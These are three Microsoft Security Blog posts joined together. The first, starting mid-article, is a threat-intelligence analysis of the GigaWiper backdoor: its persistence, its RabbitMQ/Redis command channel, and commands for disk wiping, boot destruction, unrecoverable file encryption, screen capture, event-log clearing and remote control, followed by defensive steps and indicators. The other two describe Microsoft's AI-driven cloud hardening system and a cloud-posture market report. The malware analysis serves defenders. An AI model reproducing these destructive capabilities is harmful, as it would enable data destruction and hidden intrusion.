Figure 2. Left: Standalone wiper functions. Right: The same wiper functions replicated in the backdoor Backdoor capabilities

With the wiper routine overlap established, this section focuses on the backdoor’s additional capabilities. Beyond destructive functionality, the backdoor sets persistence and implements C2 communication over RabbitMQ and Redis. In analyzing these backdoor capabilities, we discovered that some backdoor commands contain code from additional malware families.

Persistence

The backdoor creates and uses the registry key HKCU\SOFTWARE\OneDrive\Environment to track its execution count. If the key is absent on the system, the malware determines that it’s running on the system for the first time and proceeds to create the key, setting it to “0”. It then creates a new scheduled task named OneDrive Update by running the following command before printing “Task created. Original process exiting.” and exiting the process. The scheduled task is configured to essentially run every minute in addition to running once on system startup.

Figure 3. Command that creates scheduled task for persistence

In subsequent executions, when the registry key exists and is greater than “0”, the malware increments it,  determines that it is running as a scheduled task (prints “Running from Task Scheduler…”), and continues execution normally.

Communication

GigaWiper uses two modes of communication:

• RabbitMQ over AMQP for receiving commands from the C2 server
• Redis server for updating command status and output

The malware decrypts a hard-coded configuration using AES with a hard-coded key. For example, one observed sample uses 185.182.193[.]21:5544 as a RabbitMQ C2 server, and 185.182.193[.]21:7542 for a Redis server, where it uploads results. The configuration also specifies the credentials to use to connect to the RabbitMQ and Redis servers.

To receive commands from the RabbitMQ C2 server, the malware declares a queue and binds it to a fanout exchange named “All”. Because “All” is a fanout exchange, any command published to it is broadcast to every bound queue across infected clients. To enable targeted commands, the malware also declares a topic exchange named “Topic”.  The backdoor binds the queue to “Topic” when the actor issues command 8 (See Commands section) and provides a routing key.

Each command sent by the C2 server is a cmd.Task structure with the following fields:

• task_id
• command_code
• args

To update the Redis server with command status and output, the malware sends it a cmd.Result struct with the following fields:

• error
• target_ip
• task_id
• target_computer_name
• output
• pwd
• time
• status
• work_status

Commands

GigaWiper logs several types of commands using specific categories:

• “always run command” – Commands that are meant to run continuously (like screen recording)
• “manage command” – Commands used to manage things on the system like services or the Registry
• “special command” / “shell command” – Modes of command 7

Each command is represented by a numeric command code from 1 to 20:

Command 1: Calls WipeMain, which is identical to the standalone wiper described in the last section

Command 2: Triggers a Blue screen error (BSOD) and prevents the device from booting

This is achieved by running a sequence of hard-coded destructive commands that disable Windows recovery, take ownership, and grant permissions to critical boot and kernel files before deleting them.

Figure 4. Series of commands that lead to BSOD

Command 3: Calls RanMain and BigBangExtortMain to trigger a file encryption process that imitates ransomware

The key and initialization vector (IV) that the malware uses to encrypt files are random and are not saved anywhere. The malware reads and encrypts each file, excluding files with extensions like .exe and .dll that are critical for the system to load. Each file is read and AES-CBC encrypted in chunks before being deleted with os.Remove. The file is renamed with the .candy extension.

It drops the following hard-coded image to ./image_danger.jpg and sets it as the wallpaper:

Figure 5. Image dropped by backdoor and set as the wallpaper

Command 4: Uses MinIO Client (mc) to upload a file to a remote storage

The path to the MinIO client to use is supplied in the command arguments alongside additional settings:

• IPandPort
• AliasName
• Username
• Password
• BucketName
• SourcePath
• MCPath – The path to MinIO Client (mc.exe) to use

Command 5: File encryption utility

This command bulk encrypts or decrypts files with AES-256 in Cipher Block Chaining (CBC) mode. The following are the command arguments:

• key
• iv
• path – The path to encrypt/decrypt (either a directory or a file)
• key_file
• enc – A mode that specifies whether to perform encryption or decryption

The server can specify a key and IV in the arguments. If in encryption mode but no key or IV were provided, the malware generates a random key and IV and stores them in key.txt.

If in decryption mode, the malware first tries to read the key and IV from the provided key file. If it was not provided, the malware attempts to use the key and IV sent as arguments.

Interestingly, the error message shows a glimpse of what running this command might look like from the actor side:

Key/IV required. Use -k/-i or –keyfile

Command 6: Runs the PE from the map RTYPE_map_string_cmd_appInfoStc[“6”]

We have not seen this structure populated in the binary. The logging message “Exec cmd wipe-file” suggests that this is meant to contain wiper functionality.

Command 7: This command has two types:

Type: shell command – Command for running PowerShell commands. The malware appends ;”|?????|$pwd” to the command. This causes the output of each command to include |?????|, followed by the current working directory. Then, the malware calls os.Chdir to change the working directory to the path output by $pwd, so the next command runs in that same folder.

Type: special command – When command 7 is run with one of the following arguments, it is considered a “special command” and handled as follows:

• purge_cmd_queue: Empties the queue of shell commands, then stops the process run by command 7 “shell command” if it exists
• purge_queue: Empties the queue of normal commands, then stops the process run by commands 6 or 13 if it exists (those are two of the “always run” commands)
• pwd: Sets a global flag to indicate the working status, which is sent to the server in shell command 7, and then proceeds to run pwd using shell command 7.

Command 8: RabbitMQ route manager; allows binding the queue to the “Topic” exchange to receive targeted, non-broadcast commands (Type: manage command)

This command receives a mode of operation (1/2/3), followed by a list of routing keys as arguments:

• Mode 1 – Binds each provided routing key
• Mode 2 – Unbinds each provided routing key
• Mode 3 – Pairs update mode: for each old,new pair, unbinds the old key then binds the new one

Command 9: Takes one screenshot per active monitor/display

The malware saves each screenshot to a PNG file in .\<timestamp\<monitor_index>.png (for example .\2026-06-10_12-30-00\0.png).

Command 10: Records the screen when the user is not idle (10s) and the system is unlocked(Type: always run command)

Recordings are saved in the folder C:\ProgramData\output.

Command 11: Runs the PE from the map RTYPE_map_string_cmd_appInfoStc[“11”] (Type: always run) command

We have not seen this structure populated in the binary. The logging message “Exec cmd keylog” suggests that this is meant to be a keylogger functionality.

Command 12: Calls WipeCMain to wipe the system

This command is like command 1 (WipeMain), but with a few important differences:

• It only wipes the drive with the Windows installation. Usually it is the C drive, hence the name WipeCMain.
• It performs secure wiping: It wipes the drive with multiple passes, each time overwriting it with different bytes (0s, 0xFF, random bytes…), and prints status messages between passes:
  • Pass 1 Time took: %s\n
  • Pass 2 Time took: %s\n
  • Pass 3 Time took: %s\n
  • …

Command 13: Runs the PE from the map RTYPE_map_string_cmd_appInfoStc[“13”]

The logging message “Exec cmd wipe32” suggests that this is meant to be another wiper binary. It is run as admin using the command:

Command 14: (not implemented)

Command 15: Collects system info by calling the function GRATClientInfo (Type: manage command)

The command arguments control the amount of info collected:

• long
• short

Collected system info includes:

• IP address
• Machine GUID
• CPU information
• OS information
• Network configuration
• Firmware
• User information
• Antivirus software information, collected by running the following command:

Command 16: Process manager (Type: manage command)

Arguments specify the process and operation to perform:

• process_name
• process_path
• process_id
• process_operation – Performs one of the operations below:
  • createProcess
  • resumeProcess
  • suspendProcess
  • exit (does nothing, returns empty response)
  • list
  • killProcess
  • processInfo – Returns the info below:
    • process_name
    • process_user_name
    • process_id
    • process_thread_count
    • process_memory_info
    • process_exe_path
    • process_status
    • process_error

Command 17: Service manager (Type: manage command)

This command is similar to the other manage commands, but for services. It has the following arguments:

• service_name
• service_display_name
• service_exe_path
• service_operation
  • create
  • delete
  • restart
  • query
  • start
  • list
  • stop

Command 18: Registry manager (Type: manage command)

On first execution, the malware runs rabbit_bin.RunOnceRegistryMain.gowrap1 in the background as a goroutine. On subsequent executions, the routine receives and returns input and output through Go channels. From there, it operates almost like an interactive session, persisting its position in the Registry between requests, and allowing the following operations (arguments):

• registry_root_key
• registry_key_path
• registry_key_name
• registry_value_entities
• registry_operation
  • show – Enumerates current key, subkeys, and values
  • navigate – Change current position to a new key and send its contents
  • back – Go up one level from current key
  • exit – Exits the current session
  • createKey
  • deleteKey
  • deleteValue
  • setValue

Command 19: Clears Windows event logs

First, the malware ensures that it’s running with Administrator privileges. Next, it deletes the System, Setup, Application, and ForwardedEvents event logs by running the following command for each:

Then, for unknown reasons, it prints the hard-coded string “kharbvnmhkjbkjb”.

Finally, it attempts to delete the Security event logs using wevutil.exe. If it fails, it prints the message “Failed to clear Security with wevtutil. Attempting manual removal…” and attempts to directly delete the log file C:\Windows\System32\winevt\Logs\Security.evtx.

Command 20: Starts a server so the attackers can remotely control the system in a VNC-like manner; allows keyboard and mouse control and streams the screen to the attackers (Type: always run command)

This occurs over TCP with the port provided as a command argument. The malware first deletes the existing firewall rule if it exists. The rule name impersonates legitimate Windows firewall rule names:

Finally, the malware creates rules with that name to allow inbound and outbound traffic to its own program over a port provided in the command arguments. The following command is run once with Inbound then with Outbound:

How GigaWiper was assembled

The standalone wiper, implemented as command 1, is only one part of the interesting anatomy of GigaWiper.

The backdoor contains code for two additional wiping commands: command 3, implemented as rabbit_tools_tool_ran_main_cmd_extort.RanMain, and command 12, implemented as rabbit_tools_tool_wipec_main.WipeCMain. Further analysis showed that, like the standalone wiper, these originated from two separate, older malware families previously used by the same threat actor.

In other words, the GigaWiper backdoor is an amalgamation of at least three standalone malware families, stitched together as commands within a single implant, and combined with new backdoor functionality.

RanMain and BigBangExtortMain

As mentioned, command 3 is handled by rabbit_tools_tool_ran_main_cmd_extort.RanMain, which calls rabbit_tools_tool_ran_main_bin.BigBangExtortMain to encrypt the files on the victim system and rename them with the .candy extension. This is a wiper disguised as ransomware. The key and IV are randomly generated but not saved anywhere, and no ransom note is dropped. As a result, the actor has neither the ability nor, apparently, the intent to ever decrypt the files.

The function BigBangExtortMain is notable. A function with the same name was used in the Crucio ransomware, which was documented in a Cybersecurity and Infrastructure Security Agency (CISA) advisory published in December 2023. GigaWiper backdoor command 3 is heavily based on Crucio’s code, leading to the assessment that the same threat actor developed both malware families.

Figure 6. Left: Crucio functions. Right: GigaWiper’s ran_main functions. WipeCMain

Command 12 represents the third wiper family that was incorporated into the GigaWiper backdoor. This command is handled by rabbit_tools_tool_wipec_main.WipeCMain. It is very similar to command 1, WipeMain, except that it wipes only the Windows installation drive, and performs more secure wiping with multiple passes.

Our research revealed that WipeCMain is essentially identical to the standalone wiper that Microsoft tracks as FlockWiper. While FlockWiper was written in C, its logic appears to have been reimplemented in Golang within GigaWiper. In essence, the two variants follow the same core execution flow, and many of the strings are identical, though the GigaWiper implementation appears to be a more updated version. FlockWiper was first uploaded to VirusTotal in June 2025, months before GigaWiper was first observed in the wild.

Another notable detail is that the observed FlockWiper samples contain program database (PDB) paths referencing “GRAT”:

• A:\GRAT\CWipeNew\Release\CWipeNew.pdb
• E:\files\new\GRAT\CWipe\Release\CWipe.pdb

The name “GRAT” is also prevalent in several function names within the GigaWiper backdoor. Although the FlockWiper binaries do not include “GRAT” functionality, the PDB paths provide another link between the two malware families.

Figure 7. References to “GRAT” in function names Conclusion: Multiple destructive capabilities consolidated into a single implant

GigaWiper is a backdoor with extensive operational capabilities that allow a threat actor to maintain control over infected systems, execute commands, deploy additional tooling, and ultimately trigger one of multiple destructive commands on demand. It allows the threat actor to operate with flexibility, enabling both quiet espionage activity and destructive wiping operations.

Our research reveals that GigaWiper was created by combining and reimplementing components from at least three previously separate malware families. This includes the wiping functionality, and the file-encrypting ransomware that leaves no way to decrypt the files.

We tied GigaWiper to both Crucio and FlockWiper based on code analysis, shared execution flow, function naming, and unique strings. Crucio’s code was the base for GigaWiper command 3, and FlockWiper was recoded in Golang and updated for GigaWiper command 12. In addition, the references of “GRAT” in both the FlockWiper PDB paths and GigaWiper function names provide an additional link between these tools, and suggests the possible existence of another related component or framework that has not yet been recovered.

Overall, these findings show the evolution of the actor’s tooling over time. Functionality was merged into a single robust backdoor, granting the actor more ways to control and destroy infected systems.

Defending against destructive threats

To harden networks against GigaWiper, defenders can implement the following mitigation steps:

• Turn on tenant-wide tamper protection features to prevent attackers from stopping security services or using antivirus exclusions. Without tamper protection, attackers could simply turn off Microsoft Defender Antivirus without the need to acquire higher privileges.
  • Customers running Intune or Microsoft Defender for Endpoint Security Configuration can enable DisableLocalAdminMerge to prevent modification of antivirus exclusions via GPO.
  • In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy.
  • If there is an issue with a device during roll out of various antivirus features, the device can be placed in troubleshooting mode to turn off tamper protection temporarily without impacting the wider organizational security policy.
• Block direct access to known C2 infrastructure where possible, informed by your organization’s threat intelligence sources.

• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown threats.
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.
• Allow investigation and remediation in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume.
• Microsoft Defender XDR customers can also implement the following attack surface reduction rules to harden an environment against techniques used by threat actors:
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Tactic Observed activity Microsoft Defender coverage ExecutionExecution of malware componentsMicrosoft Defender Antivirus
– Giga
– Wiper
– FlockWiper
– CutBrooch

Microsoft Defender for Endpoint
– ‘WprFlock’ malware was detected
– ‘WprCree’ malware was detected
– ‘FlockWiper’ malware was detected
– ‘GigaWiper’ malware was detected
– Possible ransomware activity
– Ransomware behavior detected in the file system Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Tool profile: GigaWiper

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise IndicatorTypeDescription633d4cbd496b1094495da89a64f5e6c31a0f6d4d1488411db5b0cba1cfe42001SHA-256GigaWiper backdoorce9ad5f6c12019f4aae5b189bd8ddf5bb09e75b06a0a587b25a855c65948c913SHA-256GigaWiper backdoorf622ed85ef31ad4ab973f4e74524866fe1bb44f0965ad2b2ad796cd657a05bfdSHA-256GigaWiper backdoor9706a192e2c1a1faaf0a521daf31c2af60ff4590e3f47bbb4abc227f42af0683SHA-256GigaWiper backdoor3c30deb6556a94cfb84ae51798f4aecfae8c7358e55fdb321c5f2376579631cdSHA-256GigaWiper standalone wiper440b5385d3838e3f6bc21220caa83b65cd5f3618daea676f271c3671650ce9a3SHA-256Crucio12c39f052f030a77c0cd531df86ad3477f46d1287b8b98b625d1dcf89385d721SHA-256FlockWiperdb41e0da7ab3305be8d9720769c6950b4dc1c1984ef857d3310eb873a0fc7674SHA-256FlockWiper185.182.193[.]21IP addressGigaWiper C2212.8.248[.]104IP addressGigaWiper C2 Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post GigaWiper: Anatomy of a destructive backdoor assembled from multiple malware appeared first on Microsoft Security Blog.

AI models have reached a threshold where they exhibit expert-level capabilities in vulnerability discovery, exploit chaining, and proof-of-concept generation. As AI-powered vulnerability discovery matures, every organization that builds or runs software at scale needs continuous proactive evaluation to ensure security controls are correctly implemented, layered effectively, and working as intended in production.

At Microsoft we encompass these security requirements, along with threat knowledge and operational frameworks in our Secure Future Initiative (SFI), to guide what a well-defended cloud service looks like. But defining the requirements is only the start. Meeting them means continuously evaluating our live services against them, at AI speed.  

That is why Microsoft built a multi-agent AI system that proactively evaluates and hardens our cloud infrastructure—matching the speed, scale, depth, and quality needed for our unique hyper-scale production environments. This system is purpose-built to evaluate Microsoft’s own cloud services against our stringent security requirements and make our infrastructure harder to compromise. While this is an internal capability and not available as a customer-facing product or service, the insights and patterns we develop through this work will inform how we improve our products over time. This system complements existing tools in Microsoft’s security ecosystem. For example, this system incorporates code-level vulnerabilities, including from systems like codename MDASH and adds configuration, identity, network, and runtime context, to assess overall service security posture. 

A modern AI architecture for proactive defense 

Vulnerabilities don’t just live in code. They emerge from the interplay between how a service is built, configured, deployed, and connected. Consider a cloud service where the application code passes every security review, the identity configuration follows least-privilege policy, and the network rules restrict inbound traffic as designed. Individually, each component is compliant. The system evaluates the service as a whole and may find that a combination of a permissive service-to-service trust relationship, a token scope that grants broader access than the service requires, and a deployment configuration that exposes an internal API to an adjacent network tier creates a composite vulnerability that no single-component review would surface.

At its core, the system employs a multi-tier agent hierarchy: orchestration agents for workflow management, analysis agents that specialize in security reasoning and are grounded in Microsoft’s threat intelligence—including emerging patterns and threat actor activity—and evidence-gathering agents that investigate across code repositories, infrastructure definitions, identity configurations, runtime settings, network topologies, and live resource states.  

The result of this multi-stage analysis is a comprehensive security understanding of each service that goes beyond what any single analysis method can provide on its own. Compared to traditional human-led security reviews that take weeks, the system compresses the same depth of analysis into hours. 

How it works: The system follows a multi-stage analysis pipeline, where each stage builds on the one before it:

1. Profiles each service architecture to understand components, data flows, trust boundaries, risk exposure, and more. 
2. Enumerates applicable security controls based on SFI requirements across identity, network, tenant isolation, engineering systems, and detection domains. 
3. Verifies control implementations against real-world code, configurations, and cloud resources. 
4. Evaluates defense-in-depth coverage to help ensure layered protections exist across all control domains. 
5. Identifies where controls are missing, misconfigured, or brittle, and maps the compensating controls that determine whether a gap is exploitable in practice. 
6. Produces compensating controls and durable fix recommendations for immediate-risk reduction while driving lasting remediation. 
7. Continuously learns and improves by incorporating feedback from security reviewers and service teams, and by tapping into Microsoft’s evolving threat intelligence to adapt to new patterns. 

Core design principles  

The analysis pipeline is shaped by four principles that determine how the system reasons about security: 

1. Frontier-ready architecture

The system is built with modular model interfaces that can take advantage of new frontier capabilities as they emerge. New models, enhanced planning, and execution capabilities can be integrated behind stable agent interfaces—preserving existing tooling, orchestration, knowledge, pipelines, reporting, and governance.  

2. Compositional risk reasoning

The system uses “what-if” agentic ideation to reason compositionally about risk. It explicitly explores how individual security gaps can chain together into multi-step attack paths. For example, a minor misconfiguration in identity, combined with a seemingly unrelated network exposure, and a missing data encryption control, might together enable a serious breach. Modern attacks are often complex sequences rather than single bugs, and the system is designed to help identify and analyze them. By running diverse models and large-scale reasoning trials in parallel, the system explores an expansive space of scenarios that traditional static analysis or single-scan tools would miss. 

3. Service-specific adaptation

Cloud services aren’t one-size-fits-all, so security analysis shouldn’t be either. Rather than applying a fixed checklist, the system builds a service-specific understanding of each service it analyzes. It profiles the service in depth—identifying its components, mapping data flows, locating trust boundaries, and determining which security controls should apply given that service’s unique architecture and risk profile. If a service uses a novel pattern, a microservices architecture spanning multiple codebases, or an agent-to-agent communication model, the system adapts its analysis to account for those patterns. This adaptive approach, guided by current SFI requirements, means that the system can tackle emerging cloud paradigms that don’t fit traditional security checklists.

4. Defense-in-depth evaluation

A key focus area for SFI is layered defense. The system asks two questions: “What vulnerabilities exist?” and “Where does this service lack multiple lines of defense?”. It evaluates whether critical security domains have overlapping, robust controls, and it flags any missing or brittle layers—even if no immediate exploit is identified.

For example, the system will highlight a scenario where a service might have a weak network segmentation or an overly permissive admin role—even in the absence of a known attack—because those gaps mean a single failure could lead to a compromise.

This forward-looking, “assume breach” analysis embodies the Zero Trust and defense-in-depth principles reinforced by SFI. In an era when AI-assisted attackers can enumerate systems faster and chain together weaknesses more systematically, ensuring redundant safeguards is increasingly critical.  

The assurance tree: SFI in action 

At the core of the system are the SFI engineering and security principles: a structured body of security requirements shaped by years of hardening the Microsoft infrastructure. These requirements guide what the system evaluates, how it reasons about risk, and the recommendations generated. When security expectations evolve—whether to address a new class of threats or incorporate lessons from remediation—the system’s reasoning evolves with them. The assurance tree is how we express these requirements: a structured, hierarchical map of security controls that the system expects a service to have in place, tailored to that service’s usage and design.

As the system profiles a cloud service, it generates an assurance tree tailored to that service. At the top level of the tree are the fundamental security domains, that map to the SFI pillars. Each of these domains is recursively decomposed into more granular controls and sub-controls tailored to the service. For instance, Identity security decomposes into controls for password policies, OAuth token handling, and MFA enforcement—down to verifying that the service’s code correctly validates a JSON Web Token’s issuer and expiration. The assurance tree guides the system’s evidence-gathering agents to verify that thousands of expected controls are in place and effective—or to identify where something is missing. 

This approach turns security from an open-ended hunt into a systematic verification of the SFI requirements: the system is essentially asking, “Have all the security measures that should protect this service been properly implemented?”. Crucially, it goes further—considering how individual gaps might combine, helping to ensure that even combinations of missing controls are identified and addressed. 

Proven results: From theory to practice 

Within a few months, the system has enabled Microsoft security engineering teams to proactively harden our cloud services. It generates findings and recommendations which our security engineering teams then validate and implement. Because the system evaluates the whole service in context and reasons about the severity and exploitability of each issue before surfacing it, its findings have proven high quality and actionable: more than 90% have been confirmed as genuine security issues by our security engineers, enabling proactive action to improve security posture. Just as important as the volume and precision of findings is their nature. Many issues the system discovers are nuanced, cross-domain vulnerabilities that wouldn’t have been caught by traditional methods. For example, the system has uncovered security gaps that only become apparent when considering code, configuration, and cloud resources together—the kind of issue that isolated scans or compliance checklists could overlook.  

This capability allows us to enhance how we do security reviews. Traditionally, a deep security review of a complex service might span weeks of effort by multiple domain experts. The system can achieve a thorough review in a matter of hours—allowing teams to assess more services, more frequently.

The path forward: Applying these principles in your environment

If you are responsible for security at your organization, the key question is whether your defenses are keeping pace. AI models will continue to evolve. The organizations that are hardest to compromise will be the ones that have layered, verified controls already in place—not the ones that react fastest after something is found.

Based on what we have learned from building and operating this system, here are three principles any organization can apply now:

1. Go beyond code scanning to system-level discovery. The most consequential issues emerge not from a single bug, but from how factors including code, configuration, identity, and network interact in production. Collect rich signals across these domains and evaluate your services as composed systems, not isolated components. Prioritize composite attack paths over individual findings. 
2. Move beyond known vulnerability patterns to proactive defensive controls. Traditional scanning asks, “Is there a known bug here?” Proactive hardening asks, “Does this service have comprehensive controls and layered defenses?” Reason about not just vulnerabilities, but controls, and how defense-in-depth coverage can improve protection before a specific exploit is discovered. 
3. Integrate AI to drive proactive prevention at machine speed. The same AI capabilities that accelerate vulnerability discovery can be applied to continuously evaluate whether security controls are correctly implemented, layered effectively, and working as intended. Organizations that adopt AI-powered proactive evaluation will identify and close gaps faster than those relying solely on periodic manual review. 

For deeper guidance on implementing AI-powered defense for an AI-accelerated threat landscape, customers can review Secure Now guidance for AI‑powered security and proactive defense. Any customer with a Microsoft Entra ID can access it. Microsoft Security customers will also have access to capabilities that enable them to assess their exposure and take action. 

Moving forward, we will share more about how we are scaling our response operations to match machine speed and how SFI’s engineering practices are evolving for this new reality.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity. 

The post Protecting Microsoft at AI speed: How SFI proactively hardens our cloud   appeared first on Microsoft Security Blog.

Cloud security posture management (CSPM) is being redefined as two forces collide: Cloud environments are becoming more interconnected—spanning workloads, identities, data, APIs, and development pipelines—while security teams must reduce risk faster with fewer tools and less time.

Frost & Sullivan’s 2025 Frost Radar™ for Cloud Security Posture Management points to a structural shift: CSPM is no longer a periodic compliance exercise. It’s a continuous, risk‑based governance layer inside modern cloud native application protection platforms (CNAPPs). Frost & Sullivan projects the CSPM market will grow from $2.82 billion in 2025 to $6.96 billion by 2030 at a 19.8% compound annual growth rate (CAGR)—reflecting the growing shift from standalone posture tools to integrated, platform‑based approaches.

Read the full Frost & Sullivan report

A cloud native application protection platform (CNAPP) brings together posture, workload protection, identity and entitlement management, and related controls to secure applications across the full lifecycle—from development through runtime operations.

Frost & Sullivan’s analysis also reinforces Microsoft’s position among leading CSPM providers, with strong performance across innovation and growth. This reflects Microsoft’s approach to unifying posture management with workload protection, identity, and data security as part of a broader CNAPP platform—aligning directly with how CSPM is evolving from point-in-time compliance to continuous risk management.

Below are five key insights from the Frost Radar and what they mean for security leaders navigating today’s cloud threat landscape.

1. CSPM is becoming the governance layer for CNAPP 

Frost & Sullivan research suggests CSPM is evolving beyond a standalone tool focused on configuration hygiene. Instead, it increasingly serves as the entry point and governance backbone for CNAPP—integrating posture signals with workload protection, identity, data security, and security operations center (SOC) workflows.

Modern CSPM solutions are expected to:

• Provide continuous visibility across infrastructure as a service (IaaS), platform as a service (PaaS), and software as a service (SaaS).
• Correlate misconfigurations, identities, vulnerabilities, and data exposure.
• Feed high‑fidelity posture context into runtime protection and incident response workflows.

What to look for

Unified visibility that connects posture findings with workload, identity, and data signals—so investigations don’t begin from scratch when posture risk turns into an incident.

Frost notes that by 2030, CSPM is expected to become less a standalone market and more a foundational governance layer inside CNAPP platforms—unifying code‑to‑cloud policy and feeding posture context into runtime and SOC workflows

2. The market is moving beyond compliance to risk‑based prioritization

Compliance coverage is now table stakes. Frost highlights that for organizations to differentiate they need solutions that continuously assess risk, reduce noise, and guide remediation—helping teams focus on the “toxic combinations” that create real exposure.

Leading solutions need to:

• Continuously assess risk rather than rely on point‑in‑time scans.
• Reduce alert fatigue through contextual correlation.
• Prioritize remediation based on exploitability and business impact.

Organizations are increasingly using CSPM to drive ongoing risk reduction—with compliance reporting treated as an outcome of stronger controls.

What to look for

Prioritization that highlights likely cyberattack paths—not just severity scores—so teams can fix what’s exploitable first and minimize false positives.

Security leaders are adjusting how they evaluate CSPM vendors in response to these shifts. Rather than asking how many compliance frameworks a solution supports, they’re looking at whether posture insights can be correlated with identity, workload, and runtime signals to expose exploitable attack paths and guide remediation across developer and SOC workflows. Frost & Sullivan’s evaluation framework reflects this transition—placing greater emphasis on integrated, code to cloud risk management capabilities inside broader CNAPP platforms.

3. Code‑to‑cloud visibility is now required

Another major theme in the Frost Radar report is how organizations can embed posture management earlier in the application lifecycle to prevent misconfigurations before deployment—and continuously detect drift as environments change.

The report emphasizes:

• Infrastructure‑as‑code (IaC) scanning and policy‑as‑code enforcement
• Continuous integration and continuous delivery (CI/CD) pipeline integration
• Ownership mapping so issues are routed to the right developer or team

By extending posture management into DevSecOps workflows, organizations can reduce remediation costs and prevent risk from reaching production.

What to look for

Security guardrails embedded in CI/CD pipelines—with clear ownership routing—so remediation happens earlier and doesn’t bounce between teams.

4. Multicloud complexity is driving platform consolidation

Fragmented tools and siloed data continue to create blind spots across posture, identity, and workload risk—overwhelming SOC teams and reducing operational effectiveness.

As a result, buyers are consolidating point products into integrated CNAPP platforms that correlate posture, workload, identity, and runtime signals.

Platform convergence is reshaping CSPM investment and deployment models:

• A growing share of CSPM capability is delivered as part of a broader platform.
• Shared dashboards improve visibility across hybrid and multicloud environments.

Consolidation reduces tool sprawl and improves SecOps efficiency.

What to look for

A platform approach that standardizes policies across clouds and carries posture insights into security operations (SecOps) workflows—improving both signal quality and remediation speed.

5. AI is reshaping CSPM—from operations to new workloads

Frost highlights AI as both an operational enabler and a new security domain for CSPM.

AI is being used to:

• Reduce alert fatigue through contextual prioritization.
• Generate compliance evidence.
• Deliver guided remediation for developers and security teams.

At the same time, CSPM capabilities are expanding into AI workload posture management—covering models, pipelines, and related infrastructure.

What to look for

AI assisted prioritization and guided remediation—plus posture coverage for AI workloads—so emerging risks such as prompt injection or data leakage are managed alongside traditional cloud risk.

What this means for security leaders

Frost & Sullivan’s analysis underscores that CSPM is no longer about checking compliance boxes—it’s becoming a strategic control layer for managing cloud risk across the entire application lifecycle.

If you’re evaluating CSPM capabilities in 2025–2026, ask:

• Can posture findings be correlated with identity, workload, and data context to expose exploitable cyberattack paths?
• Can security guardrails be embedded earlier in CI/CD pipelines through IaC and policy‑as‑code?
• Can posture insights flow into SOC workflows for faster investigation and response?
• Can risk be continuously prioritized across multicloud environments—not just reported periodically?

How Microsoft aligns with CSPM’s next phase

Frost & Sullivan attributes Microsoft’s leadership in CSPM to its ability to operationalize posture management as part of a broader cloud security platform—aligning with the report’s emphasis on integrating posture with runtime protection, identity, data security, and SecOps workflows across the application lifecycle. These capabilities align with the same governance, prioritization, DevSecOps integration, and lifecycle visibility themes highlighted across the Frost Radar insights above.

Get started with Microsoft Defender for Cloud

Rather than operating as a standalone compliance layer, Microsoft correlates posture data with runtime telemetry and identity signals—integrating findings into developer pipelines and SOC workflows through GitHub, Azure DevOps, and Microsoft Defender XDR. Frost highlights Microsoft’s multicloud visibility across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP); policy‑as‑code enforcement and CI/CD integration to strengthen shift‑left security; and unified dashboards that carry posture context into investigations and response.

The Frost report also notes Microsoft’s expansion into emerging posture domains—including AI and API posture management—to continuously manage cloud and AI workload risk across the application lifecycle.

The Frost Radar™ for Cloud Security Posture Management visualizes how leading vendors compare across innovation and growth—two key measures of market leadership and future potential. Microsoft is positioned in the upper-right quadrant alongside top providers, reflecting strong performance in both innovation and growth as CSPM continues to evolve into a broader, integrated cloud security capability. Learn more

• Read the Frost & Sullivan Frost Radar™ for Cloud Security Posture Management (2025) to see how CSPM leaders are evaluated—and what capabilities matter most as vendor selection criteria shift toward integrated CNAPP platforms.

• Explore Microsoft cloud security solutions to see how unified posture management, risk prioritization, and protection across the application lifecycle can help reduce cloud risk.

Real the full Frost Radar report

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

The post 5 insights from Frost & Sullivan’s 2025 Frost Radar™ for Cloud Security Posture Management appeared first on Microsoft Security Blog.

